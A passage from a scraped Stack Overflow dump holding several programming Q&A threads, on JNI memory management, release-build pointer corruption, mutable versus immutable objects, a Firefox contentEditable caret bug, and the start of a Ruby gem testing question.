"text": "<p>There are a couple of strategies for reclaiming native resources (objects, file descriptors, etc.)</p>\n\n<ol>\n<li><p>Invoke a JNI method during finalize() which frees the resource. Some people <a href=\"https://stackoverflow.com/questions/158174/why-would-you-ever-implement-finalize\">recommend against implementing finalize</a>, and basically you can't really be sure that your native resource is ever freed. For resources such as memory this is probably not a problem, but if you have a file for example which needs to be flushed at a predictable time, finalize() probably not a good idea.</p></li>\n<li><p>Manually invoke a cleanup method. This is useful if you have a point in time where you know that the resource must be cleaned up. I used this method when I had a resource which had to be deallocated before unloading a DLL in the JNI code. In order to allow the DLL to later be reloaded, I had to be sure that the object was really deallocated before attempting to unload the DLL. Using only finalize(), I would not have gotten this guaranteed. This can be combined with (1) to allow the resource to be allocated either during finalize() or at the manually called cleanup method. (You probably need a canonical map of WeakReferences to track which objects needs to have their cleanup method invoked.)</p></li>\n<li><p>Supposedly the <strong>PhantomReference</strong> can be used to solve this problem as well, but I'm not sure exactly how such a solution would work.</p></li>\n</ol>\n\n<p>Actually, I have to disagree with you on the JNI documentation. I find the <a href=\"http://java.sun.com/j2se/1.5.0/docs/guide/jni/spec/jniTOC.html\" rel=\"nofollow noreferrer\">JNI specification</a> exceptionally clear on most of the important issues, even if the sections on managing local and global references could have been more elaborated.</p>\n"
},
{
"answer_id": 215521,
"author": "Adam Mitz",
"author_id": 2574,
"author_profile": "https://Stackoverflow.com/users/2574",
"pm_score": 0,
"selected": false,
"text": "<p>Re: \"A separate, but related question\"... you do not need to manually release jclass, jfieldID and jmethodID when you use them in a \"local\" context. Any actual object references you obtain (not jclass, jfieldID, jmethodID) should be released with DeleteLocalRef.</p>\n"
},
{
"answer_id": 215640,
"author": "JesperE",
"author_id": 13051,
"author_profile": "https://Stackoverflow.com/users/13051",
"pm_score": 3,
"selected": false,
"text": "<p>The JNI spec covers the issue of who \"owns\" Java objects created in JNI methods <a href=\"http://java.sun.com/j2se/1.5.0/docs/guide/jni/spec/design.html#wp16785\" rel=\"noreferrer\">here</a>. You need to distinguish between <strong>local</strong> and <strong>global</strong> references.</p>\n\n<p>When the JVM makes a JNI call out to native code, it sets up a registry to keep track of all objects created during the call. Any object created during the native call (i.e. returned from a JNI interface function) are added to this registry. References to such objects are known as <strong>local references</strong>. When the native method returns to the JVM, all local references created during the native method call are destroyed. If you're making calls back into the JVM during a native method call, the local reference will still be alive when control returns back to the native method. If the JVM invoked from native code makes another call back into the native code, a new registry of local references is created, and the same rules apply.</p>\n\n<p>(In fact, you can implement you're own JVM executable (i.e. java.exe) using the JNI interface, by creating a JVM (thereby receiving a JNIEnv * pointer), looking up the class given on the command line, and invoking the main() method on it.)</p>\n\n<p><strong>All references returned from JNI interface methods are local</strong>. This means that under normal circumstances you do not need to manually deallocate references return by JNI methods, since they are destroyed when returning to the JVM. Sometimes you still want to destroy them \"prematurely\", for example when you lots of local references which you want to delete before returning to the JVM.</p>\n\n<p>Global references are created (from local references) by using the NewGlobalRef(). They are added to a special registry and have to be deallocated manually. Global references are only used for Java object which the native code needs to hold a reference to across multiple JNI calls, for example if you have native code triggering events which should be propagated back to Java. In that case, the JNI code needs to store a reference to a Java object which is to receive the event.</p>\n\n<p>Hope this clarifies the memory management issue a little bit.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214699",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23309/"
] |
When I'm building a java object using JNI methods, in order to pass it in as a parameter to a java method I'm invoking using the JNI invocation API, how do I manage its memory?
Here's what I am working with:
I have a C object that has a destructor method that is more complex that `free()`. This C object is to be associated with a Java object, and once the application is finished with the Java object, I have no more need for the C object.
I am creating the Java object like so (error checking elided for clarity):
```
c_object = c_object_create ();
class = (*env)->FindClass (env, "my.class.name");
constructor = (*env)->GetMethodID (env, class, "<init>", "(J)V");
instance = (*env)->NewObject (env, class, constructor, (jlong) c_object);
method = (*env)->GetMethodID (env, other_class, "doSomeWork", "(Lmy.class.name)V");
(*env)->CallVoidMethod (env, other_class, method, instance);
```
So, now that I'm done with `instance`, what do I do with it? Ideally, I'd like to leave the garbage collection up to the VM; when it's done with `instance` it would be fantastic if it also called `c_object_destroy()` on the pointer I provided to it. Is this possible?
A separate, but related question has to do with the scope of Java entities that I create in a method like this; do I have to manually release, say, `class`, `constructor`, or `method` above? The JNI doc is frustratingly vague (in my judgement) on the subject of proper memory management.
|
There are a couple of strategies for reclaiming native resources (objects, file descriptors, etc.)
1. Invoke a JNI method during finalize() which frees the resource. Some people [recommend against implementing finalize](https://stackoverflow.com/questions/158174/why-would-you-ever-implement-finalize), and basically you can't really be sure that your native resource is ever freed. For resources such as memory this is probably not a problem, but if you have a file for example which needs to be flushed at a predictable time, finalize() probably not a good idea.
2. Manually invoke a cleanup method. This is useful if you have a point in time where you know that the resource must be cleaned up. I used this method when I had a resource which had to be deallocated before unloading a DLL in the JNI code. In order to allow the DLL to later be reloaded, I had to be sure that the object was really deallocated before attempting to unload the DLL. Using only finalize(), I would not have gotten this guaranteed. This can be combined with (1) to allow the resource to be allocated either during finalize() or at the manually called cleanup method. (You probably need a canonical map of WeakReferences to track which objects needs to have their cleanup method invoked.)
3. Supposedly the **PhantomReference** can be used to solve this problem as well, but I'm not sure exactly how such a solution would work.
Actually, I have to disagree with you on the JNI documentation. I find the [JNI specification](http://java.sun.com/j2se/1.5.0/docs/guide/jni/spec/jniTOC.html) exceptionally clear on most of the important issues, even if the sections on managing local and global references could have been more elaborated.
|
214,700 |
<p>In the following case I'm calling a <code>Func</code> with pointer passed to it, but in the called function, the parameter shows the pointer value as something totally bogus. Something like below.</p>
<pre><code>bool flag = Func(pfspara);--> pfspara = 0x0091d910
bool Func(PFSPARA pfspara) --> pfspara = 0x00000005
{
return false;
}
</code></pre>
<p>Why does <code>pfspara</code> change to some bogus pointer? I can't reproduce the problem in debug, only in production.</p>
<p>Thanks.</p>
|
[
{
"answer_id": 214709,
"author": "Oren Shemesh",
"author_id": 27333,
"author_profile": "https://Stackoverflow.com/users/27333",
"pm_score": 1,
"selected": false,
"text": "<p>In general, this should never happen. Problems that can cause this type of symptoms include incompatibility in the compilation options between the calling and the caller modules, bad casting of member function pointers, or simply compiler bugs.\nYou need to provide a lot more details about your problem: Show the real code, specify your compiler, specify what are the debug vs. production compilation flags, etc.</p>\n"
},
{
"answer_id": 214711,
"author": "Rasmus Faber",
"author_id": 5542,
"author_profile": "https://Stackoverflow.com/users/5542",
"pm_score": 3,
"selected": false,
"text": "<p>If you are trying to debug optimized code in for example Visual Studio, you cannot always rely on the debugger properly showing the values of variables - especially not if the variable is unused so that the compiler probably optimizes it away.</p>\n\n<p>Try running this instead:</p>\n\n<pre><code>bool Func(PFSPARA pfspara)\n{\n printf(\"%x\\n\", pfspara);\n return false;\n}\n</code></pre>\n"
},
{
"answer_id": 214755,
"author": "SmacL",
"author_id": 22564,
"author_profile": "https://Stackoverflow.com/users/22564",
"pm_score": 0,
"selected": false,
"text": "<p>In addition to Rasmus' comments, I find it is generally worth checking whether the problem occurs in a debug build as well as the release build. If you see genuine problems occurring in a release build but not in the debug build, it is often down to a bug that is exposed by the optimization processs, such as an uninitialised variable. There is a real danger in doing most of your testing in a debug build, to avoid the problem you are seeing here, and then shipping a release build. IMO, if you don't have a good regression test suite (preferably automated) I would avoid shipping opimized code.</p>\n"
},
{
"answer_id": 215541,
"author": "Head Geek",
"author_id": 12193,
"author_profile": "https://Stackoverflow.com/users/12193",
"pm_score": 0,
"selected": false,
"text": "<p>It sounds like a buffer overflow problem to me -- something is overwriting that variable. But as mentioned in other answers, there's no way to tell for sure without some actual code to work with.</p>\n"
},
{
"answer_id": 216342,
"author": "Zebra North",
"author_id": 17440,
"author_profile": "https://Stackoverflow.com/users/17440",
"pm_score": 0,
"selected": false,
"text": "<p>It sounds to me like you're scribbling on the stack... somewhere in your code a buffer on the stack is overflowing, or you're taking the address of an object on the stack and writing to it after the function returns. This is causing your stack to be corrupted. </p>\n\n<p>It may only happen in release mode because the stack allocations are different due to optimization and exclusion of 'guard' blocks used to help check for this kind of condition.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214700",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13432/"
] |
In the following case I'm calling a `Func` with pointer passed to it, but in the called function, the parameter shows the pointer value as something totally bogus. Something like below.
```
bool flag = Func(pfspara);--> pfspara = 0x0091d910
bool Func(PFSPARA pfspara) --> pfspara = 0x00000005
{
return false;
}
```
Why does `pfspara` change to some bogus pointer? I can't reproduce the problem in debug, only in production.
Thanks.
|
If you are trying to debug optimized code in for example Visual Studio, you cannot always rely on the debugger properly showing the values of variables - especially not if the variable is unused so that the compiler probably optimizes it away.
Try running this instead:
```
bool Func(PFSPARA pfspara)
{
printf("%x\n", pfspara);
return false;
}
```
|
214,714 |
<p>I'm trying to get my head around mutable vs immutable objects. Using mutable objects gets a lot of bad press (e.g. returning an array of strings from a method) but I'm having trouble understanding what the negative impacts are of this. What are the best practices around using mutable objects? Should you avoid them whenever possible?</p>
|
[
{
"answer_id": 214715,
"author": "John Millikin",
"author_id": 3560,
"author_profile": "https://Stackoverflow.com/users/3560",
"pm_score": 3,
"selected": false,
"text": "<p>You should specify what language you're talking about. For low-level languages like C or C++, I prefer to use mutable objects to conserve space and reduce memory churn. In higher-level languages, immutable objects make it easier to reason about the behavior of the code (especially multi-threaded code) because there's no \"spooky action at a distance\".</p>\n"
},
{
"answer_id": 214718,
"author": "Daniel Spiewak",
"author_id": 9815,
"author_profile": "https://Stackoverflow.com/users/9815",
"pm_score": 9,
"selected": true,
"text": "<p>Well, there are a few aspects to this.</p>\n\n<ol>\n<li><p>Mutable objects without reference-identity can cause bugs at odd times. For example, consider a <code>Person</code> bean with a value-based <code>equals</code> method:</p>\n\n<pre><code>Map<Person, String> map = ...\nPerson p = new Person();\nmap.put(p, \"Hey, there!\");\n\np.setName(\"Daniel\");\nmap.get(p); // => null\n</code></pre>\n\n<p>The <code>Person</code> instance gets \"lost\" in the map when used as a key because its <code>hashCode</code> and equality were based upon mutable values. Those values changed outside the map and all of the hashing became obsolete. Theorists like to harp on this point, but in practice I haven't found it to be too much of an issue.</p></li>\n<li><p>Another aspect is the logical \"reasonability\" of your code. This is a hard term to define, encompassing everything from readability to flow. Generically, you should be able to look at a piece of code and easily understand what it does. But more important than that, you should be able to convince yourself that it does what it does <em>correctly</em>. When objects can change independently across different code \"domains\", it sometimes becomes difficult to keep track of what is where and why (\"<a href=\"https://en.wikipedia.org/wiki/Action_at_a_distance_%28computer_programming%29\" rel=\"noreferrer\">spooky action at a distance</a>\"). This is a more difficult concept to exemplify, but it's something that is often faced in larger, more complex architectures.</p></li>\n<li><p>Finally, mutable objects are <em>killer</em> in concurrent situations. Whenever you access a mutable object from separate threads, you have to deal with locking. This reduces throughput and makes your code <em>dramatically</em> more difficult to maintain. A sufficiently complicated system blows this problem so far out of proportion that it becomes nearly impossible to maintain (even for concurrency experts).</p></li>\n</ol>\n\n<p>Immutable objects (and more particularly, immutable collections) avoid all of these problems. Once you get your mind around how they work, your code will develop into something which is easier to read, easier to maintain and less likely to fail in odd and unpredictable ways. Immutable objects are even easier to test, due not only to their easy mockability, but also the code patterns they tend to enforce. In short, they're good practice all around!</p>\n\n<p>With that said, I'm hardly a zealot in this matter. Some problems just don't model nicely when everything is immutable. But I do think that you should try to push as much of your code in that direction as possible, assuming of course that you're using a language which makes this a tenable opinion (C/C++ makes this very difficult, as does Java). In short: the advantages depend somewhat on your problem, but I would tend to prefer immutability.</p>\n"
},
{
"answer_id": 214719,
"author": "willurd",
"author_id": 1943957,
"author_profile": "https://Stackoverflow.com/users/1943957",
"pm_score": 3,
"selected": false,
"text": "<p>A mutable object is simply an object that can be modified after it's created/instantiated, vs an immutable object that cannot be modified (see <a href=\"http://en.wikipedia.org/wiki/Immutable_object\" rel=\"noreferrer\">the Wikipedia page</a> on the subject). An example of this in a programming language is Pythons lists and tuples. Lists can be modified (e.g., new items can be added after it's created) whereas tuples cannot.</p>\n\n<p>I don't really think there's a clearcut answer as to which one is better for all situations. They both have their places.</p>\n"
},
{
"answer_id": 214732,
"author": "QBziZ",
"author_id": 11572,
"author_profile": "https://Stackoverflow.com/users/11572",
"pm_score": 4,
"selected": false,
"text": "<p>Immutable objects are a very powerful concept. They take away a lot of the burden of trying to keep objects/variables consistent for all clients.</p>\n\n<p>You can use them for low level, non-polymorphic objects - like a CPoint class - that are used mostly with value semantics.</p>\n\n<p>Or you can use them for high level, polymorphic interfaces - like an IFunction representing a mathematical function - that is used exclusively with object semantics.</p>\n\n<p>Greatest advantage: immutability + object semantics + smart pointers make object ownership a non-issue, all clients of the object have their own private copy by default. Implicitly this also means deterministic behavior in the presence of concurrency.</p>\n\n<p>Disadvantage: when used with objects containing lots of data, memory consumption can become an issue. A solution to this could be to keep operations on an object symbolic and do a lazy evaluation. However, this can then lead to chains of symbolic calculations, that may negatively influence performance if the interface is not designed to accommodate symbolic operations. Something to definitely avoid in this case is returning huge chunks of memory from a method. In combination with chained symbolic operations, this could lead to massive memory consumption and performance degradation.</p>\n\n<p>So immutable objects are definitely my primary way of thinking about object-oriented design, but they are not a dogma. \nThey solve a lot of problems for clients of objects, but also create many, especially for the implementers.</p>\n"
},
{
"answer_id": 18863648,
"author": "Ben Jackson",
"author_id": 1382551,
"author_profile": "https://Stackoverflow.com/users/1382551",
"pm_score": 5,
"selected": false,
"text": "<h2>Immutable Objects vs. Immutable Collections</h2>\n\n<p>One of the finer points in the debate over mutable vs. immutable objects is the possibility of extending the concept of immutability to collections. An immutable object is an object that often represents a single logical structure of data (for example an immutable string). When you have a reference to an immutable object, the contents of the object will not change.</p>\n\n<p>An immutable collection is a collection that never changes. </p>\n\n<p>When I perform an operation on a mutable collection, then I change the collection in place, and all entities that have references to the collection will see the change.</p>\n\n<p>When I perform an operation on an immutable collection, a reference is returned to a new collection reflecting the change. All entities that have references to previous versions of the collection will not see the change.</p>\n\n<p>Clever implementations do not necessarily need to copy (clone) the entire collection in order to provide that immutability. The simplest example is the stack implemented as a singly linked list and the push/pop operations. You can reuse all of the nodes from the previous collection in the new collection, adding only a single node for the push, and cloning no nodes for the pop. The push_tail operation on a singly linked list, on the other hand, is not so simple or efficient. </p>\n\n<h2>Immutable vs. Mutable variables/references</h2>\n\n<p>Some functional languages take the concept of immutability to object references themselves, allowing only a single reference assignment. </p>\n\n<ul>\n<li>In Erlang this is true for all \"variables\". I can only assign objects to a reference once. If I were to operate on a collection, I would not be able to reassign the new collection to the old reference (variable name). </li>\n<li>Scala also builds this into the language with all references being declared with <strong>var</strong> or <strong>val</strong>, vals only being single assignment and promoting a functional style, but vars allowing a more C-like or Java-like program structure. </li>\n<li>The var/val declaration is required, while many traditional languages use optional modifiers such as <strong>final</strong> in java and <strong>const</strong> in C.</li>\n</ul>\n\n<h2>Ease of Development vs. Performance</h2>\n\n<p>Almost always the reason to use an immutable object is to promote side effect free programming and simple reasoning about the code (especially in a highly concurrent/parallel environment). You don't have to worry about the underlying data being changed by another entity if the object is immutable. </p>\n\n<p>The main drawback is performance. Here is a write-up on <a href=\"http://www.bgjackson.net/?p=7\" rel=\"noreferrer\">a simple test I did in Java</a> comparing some immutable vs. mutable objects in a toy problem. </p>\n\n<p>The performance issues are moot in many applications, but not all, which is why many large numerical packages, such as the Numpy Array class in Python, allow for In-Place updates of large arrays. This would be important for application areas that make use of large matrix and vector operations. This large data-parallel and computationally intensive problems achieve a great speed-up by operating in place.</p>\n"
},
{
"answer_id": 18922685,
"author": "supercat",
"author_id": 363751,
"author_profile": "https://Stackoverflow.com/users/363751",
"pm_score": 1,
"selected": false,
"text": "<p>If a class type is mutable, a variable of that class type can have a number of different meanings. For example, suppose an object <code>foo</code> has a field <code>int[] arr</code>, and it holds a reference to a <code>int[3]</code> holding the numbers {5, 7, 9}. Even though the type of the field is known, there are at least four different things it can represent:</p>\n\n<ul>\n<li><p>A potentially-shared reference, all of whose holders care only that it encapsulates the values 5, 7, and 9. If <code>foo</code> wants <code>arr</code> to encapsulate different values, it must replace it with a different array that contains the desired values. If one wants to make a copy of <code>foo</code>, one may give the copy either a reference to <code>arr</code> or a new array holding the values {1,2,3}, whichever is more convenient.</p></li>\n<li><p>The only reference, anywhere in the universe, to an array which encapsulates the values 5, 7, and 9. set of three storage locations which at the moment hold the values 5, 7, and 9; if <code>foo</code> wants it to encapsulate the values 5, 8, and 9, it may either change the second item in that array or create a new array holding the values 5, 8, and 9 and abandon the old one. Note that if one wanted to make a copy of <code>foo</code>, one must in the copy replace <code>arr</code> with a reference to a new array in order for <code>foo.arr</code> to remain as the only reference to that array anywhere in the universe.</p></li>\n<li><p>A reference to an array which is owned by some <em>other</em> object that has exposed it to <code>foo</code> for some reason (e.g. perhaps it wants <code>foo</code> to store some data there). In this scenario, <code>arr</code> doesn't encapsulate the contents of the array, but rather its <em>identity</em>. Because replacing <code>arr</code> with a reference to a new array would totally change its meaning, a copy of <code>foo</code> should hold a reference to the same array. </p></li>\n<li><p>A reference to an array of which <code>foo</code> is the sole owner, but to which references are held by other object for some reason (e.g. it wants to have the other object to store data there--the flipside of the previous case). In this scenario, <code>arr</code> encapsulates both the identity of the array and its contents. Replacing <code>arr</code> with a reference to a new array would totally change its meaning, but having a clone's <code>arr</code> refer to <code>foo.arr</code> would violate the assumption that <code>foo</code> is the sole owner. There is thus no way to copy <code>foo</code>.</p></li>\n</ul>\n\n<p>In theory, <code>int[]</code> should be a nice simple well-defined type, but it has four very different meanings. By contrast, a reference to an immutable object (e.g. <code>String</code>) generally only has one meaning. Much of the \"power\" of immutable objects stems from that fact.</p>\n"
},
{
"answer_id": 20628399,
"author": "user1923551",
"author_id": 1923551,
"author_profile": "https://Stackoverflow.com/users/1923551",
"pm_score": 0,
"selected": false,
"text": "<p>If you return references of an array or string, then outside world can modify the content in that object, and hence make it as mutable (modifiable) object.</p>\n"
},
{
"answer_id": 20866100,
"author": "JTHouseCat",
"author_id": 3113435,
"author_profile": "https://Stackoverflow.com/users/3113435",
"pm_score": 0,
"selected": false,
"text": "<p>Immutable means can't be changed, and mutable means you can change. </p>\n\n<p>Objects are different than primitives in Java. Primitives are built in types (boolean, int, etc) and objects (classes) are user created types.</p>\n\n<p>Primitives and objects can be mutable or immutable when defined as member variables within the implementation of a class.</p>\n\n<p>A lot of people people think primitives and object variables having a final modifier infront of them are immutable, however, this isn't exactly true. So final almost doesn't mean immutable for variables. See example here<br>\n<a href=\"http://www.siteconsortium.com/h/D0000F.php\" rel=\"nofollow\">http://www.siteconsortium.com/h/D0000F.php</a>.</p>\n"
},
{
"answer_id": 24134192,
"author": "yegor256",
"author_id": 187141,
"author_profile": "https://Stackoverflow.com/users/187141",
"pm_score": 4,
"selected": false,
"text": "<p>Check this blog post: <a href=\"http://www.yegor256.com/2014/06/09/objects-should-be-immutable.html\">http://www.yegor256.com/2014/06/09/objects-should-be-immutable.html</a>. It explains why immutable objects are better than mutable. In short:</p>\n\n<ul>\n<li>immutable objects are simpler to construct, test, and use</li>\n<li>truly immutable objects are always thread-safe</li>\n<li>they help to avoid temporal coupling</li>\n<li>their usage is side-effect free (no defensive copies)</li>\n<li>identity mutability problem is avoided</li>\n<li>they always have failure atomicity</li>\n<li>they are much easier to cache</li>\n</ul>\n"
},
{
"answer_id": 33455083,
"author": "Teodor",
"author_id": 2609399,
"author_profile": "https://Stackoverflow.com/users/2609399",
"pm_score": 2,
"selected": false,
"text": "<p>Shortly:</p>\n<p><em><strong>Mutable</strong> instance is passed by reference.</em></p>\n<p><em><strong>Immutable</strong> instance is passed by value.</em></p>\n<p>Abstract example. Lets suppose that there exists a file named <em>txtfile</em> on my HDD. Now, when you are asking me to give you the <em>txtfile</em> file, I can do it in the following two modes:</p>\n<ol>\n<li>I can create a shortcut to the <em>txtfile</em> and pass shortcut to you, or</li>\n<li>I can do a full copy of the <em>txtfile</em> file and pass copied file to you.</li>\n</ol>\n<p>In the first mode, the returned file represents a mutable file, because any change into the shortcut file will be reflected into the original one as well, and vice versa.</p>\n<p>In the second mode, the returned file represents an immutable file, because any change into the copied file will not be reflected into the original one, and vice versa.</p>\n"
},
{
"answer_id": 62935284,
"author": "yoAlex5",
"author_id": 4770877,
"author_profile": "https://Stackoverflow.com/users/4770877",
"pm_score": 0,
"selected": false,
"text": "<p><strong>General Mutable vs Immutable</strong></p>\n<p><code>Unmodifiable</code> - is a wrapper around modifiable. It guarantees that it can not be changed directly(but it is possibly using backing object)</p>\n<p><code>Immutable</code> - state of which can not be changed after creation. Object is immutable when all its fields are immutable. It is a next step of Unmodifiable object</p>\n<p><strong>Thread safe</strong></p>\n<p>The main advantage of Immutable object is that it is a naturally for concurrent environment. The biggest problem in concurrency is <code>shared resource</code> which can be changed any of thread. But if an object is immutable it is <code>read-only</code> which is thread safe operation. Any modification of an original immutable object return a copy</p>\n<p><strong>source of truth, side-effects free</strong></p>\n<p>As a developer you are completely sure that immutable object's state can not be changed from any place(on purpose or not). For example if a consumer uses immutable object he is able to use an original immutable object</p>\n<p><strong>compile optimisation</strong></p>\n<p>Improve performance</p>\n<p><strong>Disadvantage:</strong></p>\n<p>Copying of object is more heavy operation than changing a mutable object, that is why it has some performance footprint</p>\n<p>To create an <code>immutable</code> object you should use:</p>\n<p><strong>1. Language level</strong></p>\n<p>Each language contains tools to help you with it. For example:</p>\n<ul>\n<li>Java has <code>final</code> and <code>primitives</code></li>\n<li>Swift has <code>let</code> and <code>struct</code><a href=\"https://stackoverflow.com/a/59219124/4770877\"><sup>[About]</sup></a>.</li>\n</ul>\n<p>Language defines a type of variable. For example:</p>\n<ul>\n<li>Java has <code>primitive</code> and <code>reference</code> type,</li>\n<li>Swift has <code>value</code> and <code>reference</code> type<a href=\"https://stackoverflow.com/a/59219141/4770877\"><sup>[About]</sup></a>.</li>\n</ul>\n<p>For <code>immutable</code> object more convenient is <code>primitives</code> and <code>value</code> type which make a copy by default. As for <code>reference</code> type it is more difficult(because you are able to change object's state out of it) but possible. For example you can use <code>clone</code> pattern on a developer level to make a <code>deep</code>(instead of <code>shallow</code>) copy.</p>\n<p><strong>2. Developer level</strong></p>\n<p>As a developer you should not provide an interface for changing state</p>\n<p><a href=\"https://stackoverflow.com/a/62938749/4770877\">[Swift]</a> and <a href=\"https://stackoverflow.com/a/63233142/4770877\">[Java]</a> immutable collection</p>\n"
},
{
"answer_id": 63251348,
"author": "Chema",
"author_id": 8571498,
"author_profile": "https://Stackoverflow.com/users/8571498",
"pm_score": 1,
"selected": false,
"text": "<p><strong>Mutable</strong> collections are in general faster than their <strong>immutable</strong> counterparts when used for in-place\noperations.</p>\n<p>However, <strong>mutability</strong> comes at a cost: you need to be much more careful sharing them between\ndifferent parts of your program.</p>\n<p>It is easy to create bugs where a shared <strong>mutable</strong> collection is updated\nunexpectedly, forcing you to hunt down which line in a large codebase is performing the unwanted update.</p>\n<p>A common approach is to use <strong>mutable</strong> collections locally within a function or private to a class where there\nis a performance bottleneck, but to use <strong>immutable</strong> collections elsewhere where speed is less of a concern.</p>\n<p>That gives you the high performance of <strong>mutable</strong> collections where it matters most, while not sacrificing\nthe safety that <strong>immutable</strong> collections give you throughout the bulk of your application logic.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214714",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6651/"
] |
I'm trying to get my head around mutable vs immutable objects. Using mutable objects gets a lot of bad press (e.g. returning an array of strings from a method) but I'm having trouble understanding what the negative impacts are of this. What are the best practices around using mutable objects? Should you avoid them whenever possible?
|
Well, there are a few aspects to this.
1. Mutable objects without reference-identity can cause bugs at odd times. For example, consider a `Person` bean with a value-based `equals` method:
```
Map<Person, String> map = ...
Person p = new Person();
map.put(p, "Hey, there!");
p.setName("Daniel");
map.get(p); // => null
```
The `Person` instance gets "lost" in the map when used as a key because its `hashCode` and equality were based upon mutable values. Those values changed outside the map and all of the hashing became obsolete. Theorists like to harp on this point, but in practice I haven't found it to be too much of an issue.
2. Another aspect is the logical "reasonability" of your code. This is a hard term to define, encompassing everything from readability to flow. Generically, you should be able to look at a piece of code and easily understand what it does. But more important than that, you should be able to convince yourself that it does what it does *correctly*. When objects can change independently across different code "domains", it sometimes becomes difficult to keep track of what is where and why ("[spooky action at a distance](https://en.wikipedia.org/wiki/Action_at_a_distance_%28computer_programming%29)"). This is a more difficult concept to exemplify, but it's something that is often faced in larger, more complex architectures.
3. Finally, mutable objects are *killer* in concurrent situations. Whenever you access a mutable object from separate threads, you have to deal with locking. This reduces throughput and makes your code *dramatically* more difficult to maintain. A sufficiently complicated system blows this problem so far out of proportion that it becomes nearly impossible to maintain (even for concurrency experts).
Immutable objects (and more particularly, immutable collections) avoid all of these problems. Once you get your mind around how they work, your code will develop into something which is easier to read, easier to maintain and less likely to fail in odd and unpredictable ways. Immutable objects are even easier to test, due not only to their easy mockability, but also the code patterns they tend to enforce. In short, they're good practice all around!
With that said, I'm hardly a zealot in this matter. Some problems just don't model nicely when everything is immutable. But I do think that you should try to push as much of your code in that direction as possible, assuming of course that you're using a language which makes this a tenable opinion (C/C++ makes this very difficult, as does Java). In short: the advantages depend somewhat on your problem, but I would tend to prefer immutability.
|
214,722 |
<p>I'm using the contentEditable attribute on a DIV element in Firefox 3.03. Setting it to true allows me to edit the text content of the DIV, as expected.</p>
<p>Then, when I set contentEditable to "false", the div is no longer editable, also as expected. </p>
<p>However the flashing caret (text input cursor) remains visible even though the text is no longer editable. The caret is now also visible when I click on most other text in the same page, even in normal text paragraphs.</p>
<p>Has anyone seen this before? Is there any way to force the caret hidden? </p>
<p>(When I either resize the browser or click within another application, and come back, the caret magically disappears.)</p>
|
[
{
"answer_id": 215170,
"author": "Borgar",
"author_id": 27388,
"author_profile": "https://Stackoverflow.com/users/27388",
"pm_score": 4,
"selected": true,
"text": "<p>I've dealt with this and my workaround is clearing the selection when I disable contentEditable:</p>\n\n<pre><code>if ($.browser.mozilla) { // replace with browser detection of your choice\n window.getSelection().removeAllRanges();\n}\n</code></pre>\n\n<p>I am actually removing the \"contenteditable\" attribute for browsers other than IE, rather than setting it to false:</p>\n\n<pre><code>if ($.browser.msie) {\n element.contentEditable = false;\n}\nelse {\n $(element).removeAttr( 'contenteditable' );\n}\n</code></pre>\n\n<p>The browsers manage the contentEditable attribute inconsistently and my testing revealed that this worked better overall. I don't remember if this contributed to fixing the caret problem, but I'm throwing it in here just in case.</p>\n"
},
{
"answer_id": 3012230,
"author": "Lincy Chandy",
"author_id": 363167,
"author_profile": "https://Stackoverflow.com/users/363167",
"pm_score": 0,
"selected": false,
"text": "<p>The style attribute <code>-moz-user-input</code> can be used in Firefox to get the functionality <code>contenteditable=false</code> working. <br>\nThe value assigned defines if user input is accepted. The possible values are </p>\n\n<pre><code>none : The element does not respond to user input.\nenabled : The element can accepts user input. This is default.\ndisabled : The element does not accept user input.\n</code></pre>\n\n<p>E.g.: </p>\n\n<pre><code>// to disallow users to enter input\n<asp:TextBox ID=\"uxFromDate\" runat=\"server\" style=\"-moz-user-input: disabled;\"></asp:TextBox>\n\n// to allow users to enter input\n<asp:TextBox ID=\"uxFromDate\" runat=\"server\" style=\"-moz-user-input: enabled ;\"></asp:TextBox>\n</code></pre>\n\n<p>Refer to <a href=\"https://developer.mozilla.org/en/CSS/-moz-user-input\" rel=\"nofollow noreferrer\">https://developer.mozilla.org/en/CSS/-moz-user-input</a> for further reference.</p>\n"
},
{
"answer_id": 19005611,
"author": "Gustavo",
"author_id": 694610,
"author_profile": "https://Stackoverflow.com/users/694610",
"pm_score": 0,
"selected": false,
"text": "<p>This solve the ploblem, looks like firefox is just checking is own way to make things :P</p>\n\n<pre><code> getDoc().designMode = \"off\";\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214722",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5023/"
] |
I'm using the contentEditable attribute on a DIV element in Firefox 3.03. Setting it to true allows me to edit the text content of the DIV, as expected.
Then, when I set contentEditable to "false", the div is no longer editable, also as expected.
However the flashing caret (text input cursor) remains visible even though the text is no longer editable. The caret is now also visible when I click on most other text in the same page, even in normal text paragraphs.
Has anyone seen this before? Is there any way to force the caret hidden?
(When I either resize the browser or click within another application, and come back, the caret magically disappears.)
|
I've dealt with this and my workaround is clearing the selection when I disable contentEditable:
```
if ($.browser.mozilla) { // replace with browser detection of your choice
window.getSelection().removeAllRanges();
}
```
I am actually removing the "contenteditable" attribute for browsers other than IE, rather than setting it to false:
```
if ($.browser.msie) {
element.contentEditable = false;
}
else {
$(element).removeAttr( 'contenteditable' );
}
```
The browsers manage the contentEditable attribute inconsistently and my testing revealed that this worked better overall. I don't remember if this contributed to fixing the caret problem, but I'm throwing it in here just in case.
|
214,730 |
<p>I'm creating a gem which has</p>
<ul>
<li>several scripts in the bin directory</li>
<li>the utility classes in the lib directory</li>
<li>and several tests in the test directory</li>
</ul>
<pre>
supertool
bin
toolA
toolB
lib
supertool
supertool.rb
helper.rb
test
tc_main.rb
tc_etc.rb
</pre>
<p>Now, to run the tests before I even install the gem, I have the following snippet at the top of my tests:</p>
<pre><code>base = File.basename(Dir.pwd)
if base == 'test' || base =~ /supertool/
Dir.chdir('..') if base == 'test'
$LOAD_PATH.unshift(Dir.pwd + '/lib')
Dir.chdir('test') if base =~ /supertool/
end
</code></pre>
<p>This seems tedious though, especially if I have to put these in the scripts in the bin directory too. Is there a better way of setting up the environment so we can test gems before they are installed? I'm sure it's something simple that I just can't find. A simple link to the right place would help a lot :)</p>
|
[
{
"answer_id": 214812,
"author": "Vitalie",
"author_id": 27913,
"author_profile": "https://Stackoverflow.com/users/27913",
"pm_score": 0,
"selected": false,
